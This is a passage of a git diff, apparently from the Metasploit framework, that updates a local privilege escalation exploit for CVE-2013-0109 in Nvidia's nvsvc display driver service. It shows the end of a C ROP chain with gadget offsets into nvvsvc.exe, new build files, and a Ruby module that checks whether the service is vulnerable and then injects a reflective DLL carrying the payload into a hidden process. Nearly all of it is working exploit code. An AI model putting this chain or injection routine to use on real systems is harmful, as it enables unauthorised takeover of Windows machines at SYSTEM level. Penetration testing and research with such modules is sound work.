+ pRopChain[10] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
+ pRopChain[11] = 0x40; // PAGE_EXECUTE_READWRITE
+ pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
+ pRopChain[13] = 0; // Padding ...
+ pRopChain[14] = 0; // ...
+ pRopChain[15] = 0; // ...
+ pRopChain[16] = 0; // ...
+ pRopChain[17] = 0; // ...
+ // Param 4: lpflOldProtect [r9 - already points at writable location]
+ pRopChain[18] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
+ pRopChain[19] = uiBase + 0x91310; // IAT entry &VirtualProtect - 0x128
+ pRopChain[20] = uiBase + 0x82851; // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn
+ pRopChain[21] = 0; // Padding ...
+ pRopChain[22] = 0; // ...
+ pRopChain[23] = 0; // ...
+ pRopChain[24] = 0; // ...
+ pRopChain[25] = 0; // ...
+ pRopChain[26] = uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax
+ pRopChain[27] = uiBase + 0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn
+
+ memcpy(pRopChain + 28, payload, payloadLen);
+ break;
+ }
+
+ break;
+ }
+
+ i++;
+ }
+
+Cleanup:
+ if (hPipe)
+ {
+ CloseHandle(hPipe);
+ }
+}
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.h b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.h
new file mode 100755
index 0000000000..697b58450b
--- /dev/null
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.h
@@ -0,0 +1,6 @@
+#ifndef _METASPLOIT_SOURCE_NVIDIA_NVSVC_H
+#define _METASPLOIT_SOURCE_NVIDIA_NVSVC_H
+
+VOID elevate_nvidia_nvsvc(LPVOID payload);
+
+#endif
diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj
new file mode 100755
index 0000000000..41d2cbd3f2
--- /dev/null
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj
@@ -0,0 +1,142 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+
+ {6B3FF768-1F25-49C1-8827-EDEC84D4749F}
+ nvidia_nvsvc
+ Win32Proj
+
+
+
+ DynamicLibrary
+ MultiByte
+ false
+ v120
+
+
+ DynamicLibrary
+ MultiByte
+ v120
+
+
+
+
+
+
+
+
+
+
+ <_ProjectFileVersion>10.0.30319.1
+ $(Configuration)\$(Platform)\
+ $(Configuration)\$(Platform)\
+ false
+ false
+ AllRules.ruleset
+
+
+ $(ProjectName).$(PlatformShortName)
+
+
+
+ Disabled
+ ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;nvidia_nvsvcessorDefinitions)
+ true
+ EnableFastChecks
+ MultiThreadedDebug
+
+
+ Level3
+
+
+ Mpr.lib;%(AdditionalDependencies)
+ %(AdditionalLibraryDirectories)
+ %(DelayLoadDLLs)
+ true
+ Windows
+ MachineX86
+
+
+ /ignore:4070
+
+
+ editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
+
+
+ _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)
+
+
+
+
+ MinSpace
+ OnlyExplicitInline
+ false
+ ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;nvidia_nvsvcessorDefinitions)
+ true
+ MultiThreaded
+ false
+
+
+ $(OutDir)\
+ $(OutDir)\
+ $(OutDir)\
+ Level3
+ ProgramDatabase
+ false
+ Size
+
+
+ Mpr.lib;%(AdditionalDependencies)
+ %(AdditionalLibraryDirectories)
+ false
+ %(IgnoreSpecificDefaultLibraries)
+ %(DelayLoadDLLs)
+ false
+ true
+ $(OutDir)\nvidia_nvsvc.map
+ Windows
+
+
+
+
+ false
+
+
+ $(OutDir)\nvidia_nvsvc.lib
+ MachineX86
+ false
+
+
+ /ignore:4070
+
+
+ editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
+IF EXIST "..\..\..\..\..\data\exploits\CVE-2013-0109\" GOTO COPY
+ mkdir "..\..\..\..\..\data\exploits\CVE-2013-0109\"
+:COPY
+copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2013-0109\"
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj.filters b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj.filters
new file mode 100755
index 0000000000..1874b42275
--- /dev/null
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj.filters
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-0109/rdi.sln b/external/source/exploits/cve-2013-0109/rdi.sln
deleted file mode 100644
index b490cb423d..0000000000
--- a/external/source/exploits/cve-2013-0109/rdi.sln
+++ /dev/null
@@ -1,32 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 11.00
-# Visual C++ Express 2010
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|ARM = Debug|ARM
- Debug|Win32 = Debug|Win32
- Debug|x64 = Debug|x64
- Release|ARM = Release|ARM
- Release|Win32 = Release|Win32
- Release|x64 = Release|x64
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Release|ARM
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.Build.0 = Release|ARM
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|ARM
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.Build.0 = Release|ARM
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb
index f47e3657c4..e65fb153f2 100644
--- a/modules/exploits/windows/local/nvidia_nvsvc.rb
+++ b/modules/exploits/windows/local/nvidia_nvsvc.rb
@@ -6,6 +6,7 @@
##
require 'msf/core'
+require 'msf/core/reflective_dll_injection'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
@@ -13,176 +14,180 @@ require 'msf/core/post/windows/process'
require 'msf/core/post/windows/services'
class Metasploit3 < Msf::Exploit::Local
- Rank = AverageRanking
+ Rank = AverageRanking
- include Msf::Post::File
- include Msf::Post::Windows::Priv
- include Msf::Post::Windows::Process
- include Msf::Post::Windows::Services
+ include Msf::ReflectiveDLLInjection
+ include Msf::Post::File
+ include Msf::Post::Windows::Priv
+ include Msf::Post::Windows::Process
+ include Msf::Post::Windows::Services
- def initialize(info={})
- super(update_info(info, {
- 'Name' => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation',
- 'Description' => %q{
- The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to
- interact with the service. It contains a stacked based buffer overflow as a result
- of a memmove operation.
+ def initialize(info={})
+ super(update_info(info, {
+ 'Name' => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation',
+ 'Description' => %q{
+ The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to
+ interact with the service. It contains a stacked based buffer overflow as a result
+ of a memmove operation.
- N.B. exe is nvvsvc.exe, service is nvsvc and pipe is nsvr!
+ N.B. exe is nvvsvc.exe, service is nvsvc and pipe is nsvr!
- This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.
- It has been tested on Win7 x64 against nvvsvc.exe dated Dec 1 2012.
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Peter Wintersmith', # Original exploit
- 'Ben Campbell ', # Metasploit integration
- ],
- 'Arch' => ARCH_X86_64,
- 'Platform' => 'win',
- 'SessionTypes' => [ 'meterpreter' ],
- 'DefaultOptions' =>
- {
- 'EXITFUNC' => 'thread',
- },
- 'Targets' =>
- [
- [ 'Automatic', { } ]
- ],
- 'Payload' =>
- {
- 'Space' => 2048,
- 'DisableNops' => true
- },
- 'References' =>
- [
- [ 'CVE', '2013-0109' ],
- [ 'OSVDB', '88745' ],
- [ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ],
- ],
- 'DisclosureDate' => 'Dec 25 2012',
- 'DefaultTarget' => 0
- }))
+ This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.
+ It has been tested on Win7 x64 against nvvsvc.exe dated Dec 1 2012.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Peter Wintersmith', # Original exploit
+ 'Ben Campbell ', # Metasploit integration
+ ],
+ 'Arch' => ARCH_X86_64,
+ 'Platform' => 'win',
+ 'SessionTypes' => [ 'meterpreter' ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'thread',
+ },
+ 'Targets' =>
+ [
+ [ 'Automatic', { } ]
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 2048,
+ 'DisableNops' => true,
+ 'BadChars' => "\x00"
+ },
+ 'References' =>
+ [
+ [ 'CVE', '2013-0109' ],
+ [ 'OSVDB', '88745' ],
+ [ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ],
+ ],
+ 'DisclosureDate' => 'Dec 25 2012',
+ 'DefaultTarget' => 0
+ }))
- end
+ end
- def check
- vuln_hashes = [ '43f91595049de14c4b61d1e76436164f',
- '3947ad5d03e6abcce037801162fdb90d',
- '3341d2c91989bc87c3c0baa97c27253b' ]
+ def check
+ vuln_hashes = [
+ '43f91595049de14c4b61d1e76436164f',
+ '3947ad5d03e6abcce037801162fdb90d',
+ '3341d2c91989bc87c3c0baa97c27253b'
+ ]
- os = sysinfo["OS"]
- if os =~ /windows/i
- svc = service_info 'nvsvc'
- if svc and svc['Name'] =~ /NVIDIA/i
- vprint_good("Found service '#{svc['Name']}'")
+ os = sysinfo["OS"]
+ if os =~ /windows/i
+ svc = service_info 'nvsvc'
+ if svc and svc['Name'] =~ /NVIDIA/i
+ vprint_good("Found service '#{svc['Name']}'")
- begin
- unless is_running?
- print_error("Service is not running!")
- else
- print_good("Service is running")
- end
- rescue RuntimeError => e
- print_error("Unable to retrieve service status")
- end
+ begin
+ unless is_running?
+ print_error("Service is not running!")
+ else
+ print_good("Service is running")
+ end
+ rescue RuntimeError => e
+ print_error("Unable to retrieve service status")
+ end
- if sysinfo['Architecture'] =~ /WOW64/i
- # Unable to check the file in System32 (Need to add a DisableWOW64FSRedirection option to meterp!)
- return Exploit::CheckCode::Detected
- else
- path = svc['Command'].strip
- end
+ if sysinfo['Architecture'] =~ /WOW64/i
+ # Unable to check the file in System32 (Need to add a DisableWOW64FSRedirection option to meterp!)
+ return Exploit::CheckCode::Detected
+ else
+ path = svc['Command'].strip
+ end
- begin
- hash = client.fs.file.md5(path).unpack('H*').first
- rescue Rex::Post::Meterpreter::RequestError => e
- print_error("Error checking file hash: #{e}")
- return Exploit::CheckCode::Detected
- end
+ begin
+ hash = client.fs.file.md5(path).unpack('H*').first
+ rescue Rex::Post::Meterpreter::RequestError => e
+ print_error("Error checking file hash: #{e}")
+ return Exploit::CheckCode::Detected
+ end
- if vuln_hashes.include?(hash)
- vprint_good("Hash '#{hash}' is listed as vulnerable")
- return Exploit::CheckCode::Vulnerable
- else
- vprint_status("Hash '#{hash}' is not recorded as vulnerable")
- return Exploit::CheckCode::Detected
- end
- else
- return Exploit::CheckCode::Safe
- end
- end
- end
+ if vuln_hashes.include?(hash)
+ vprint_good("Hash '#{hash}' is listed as vulnerable")
+ return Exploit::CheckCode::Vulnerable
+ else
+ vprint_status("Hash '#{hash}' is not recorded as vulnerable")
+ return Exploit::CheckCode::Detected
+ end
+ else
+ return Exploit::CheckCode::Safe
+ end
+ end
+ end
- def create_proc
- windir = expand_path("%windir%")
- cmd = "#{windir}\\SysWOW64\\notepad.exe"
- return session.sys.process.execute(cmd, nil, {'Hidden' => true }).pid
- end
+ def create_proc
+ windir = expand_path("%windir%")
+ cmd = "#{windir}\\SysWOW64\\notepad.exe"
+ return session.sys.process.execute(cmd, nil, {'Hidden' => true }).pid
+ end
- def is_running?
- begin
- status = service_status('nvsvc')
- return (status and status[:state] == 4)
- rescue RuntimeError => e
- print_error("Unable to retrieve service status")
- return false
- end
+ def is_running?
+ begin
+ status = service_status('nvsvc')
+ return (status and status[:state] == 4)
+ rescue RuntimeError => e
+ print_error("Unable to retrieve service status")
+ return false
+ end
- end
+ end
- def exploit
- unless is_running?
- print_error("Service not running - attempting to start")
- res = service_start('nvsvc')
- case res
- when 0
- print_good("Service started")
- when 1
- print_status("Service already started")
- else
- fail_with(Exploit::Failure::Unknown, "Unable to start service")
- end
- else
- print_good("Service is running")
- end
+ def exploit
+ unless is_running?
+ print_error("Service not running - attempting to start")
+ res = service_start('nvsvc')
+ case res
+ when 0
+ print_good("Service started")
+ when 1
+ print_status("Service already started")
+ else
+ fail_with(Exploit::Failure::Unknown, "Unable to start service")
+ end
+ else
+ print_good("Service is running")
+ end
- dll = ''
- offset = nil
- file = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-0109", "exploit.dll")
- File.open( file,"rb" ) { |f| dll += f.read(f.stat.size) }
+ dll = ''
+ offset = nil
+ file = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-0109", "exploit.dll")
+ File.open( file,"rb" ) { |f| dll += f.read(f.stat.size) }
- pay = payload.encoded
+ pay = payload.encoded
- bo = dll.index('PAYLOAD:')
- raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
- dll[bo, pay.length] = [pay].pack("a*")
+ bo = dll.index('PAYLOAD:')
+ raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
+ dll[bo, pay.length] = [pay].pack("a*")
- pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
+ pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
- pe.exports.entries.each do |entry|
- if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
- offset = pe.rva_to_file_offset( entry.rva )
- break
- end
- end
+ pe.exports.entries.each do |entry|
+ if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
+ offset = pe.rva_to_file_offset( entry.rva )
+ break
+ end
+ end
- print_error("No offset found") unless offset
+ print_error("No offset found") unless offset
- new_pid = create_proc
+ new_pid = create_proc
- if not new_pid
- fail_with(Exploit::Failure::Unknown, "Failed to create a new process")
- end
+ if not new_pid
+ fail_with(Exploit::Failure::Unknown, "Failed to create a new process")
+ end
- vprint_status("Injecting payload into memory")
- host_process = session.sys.process.open(new_pid.to_i, PROCESS_ALL_ACCESS)
- mem = host_process.memory.allocate(dll.length + (dll.length % 1024))
- host_process.memory.protect(mem)
- host_process.memory.write(mem, dll)
- print_status("Executing exploit...")
- host_process.thread.create(mem+offset)
- end
+ vprint_status("Injecting payload into memory")
+ host_process = session.sys.process.open(new_pid.to_i, PROCESS_ALL_ACCESS)
+ mem = host_process.memory.allocate(dll.length + (dll.length % 1024))
+ host_process.memory.protect(mem)
+ host_process.memory.write(mem, dll)
+ print_status("Executing exploit...")
+ host_process.thread.create(mem+offset)
+ end
end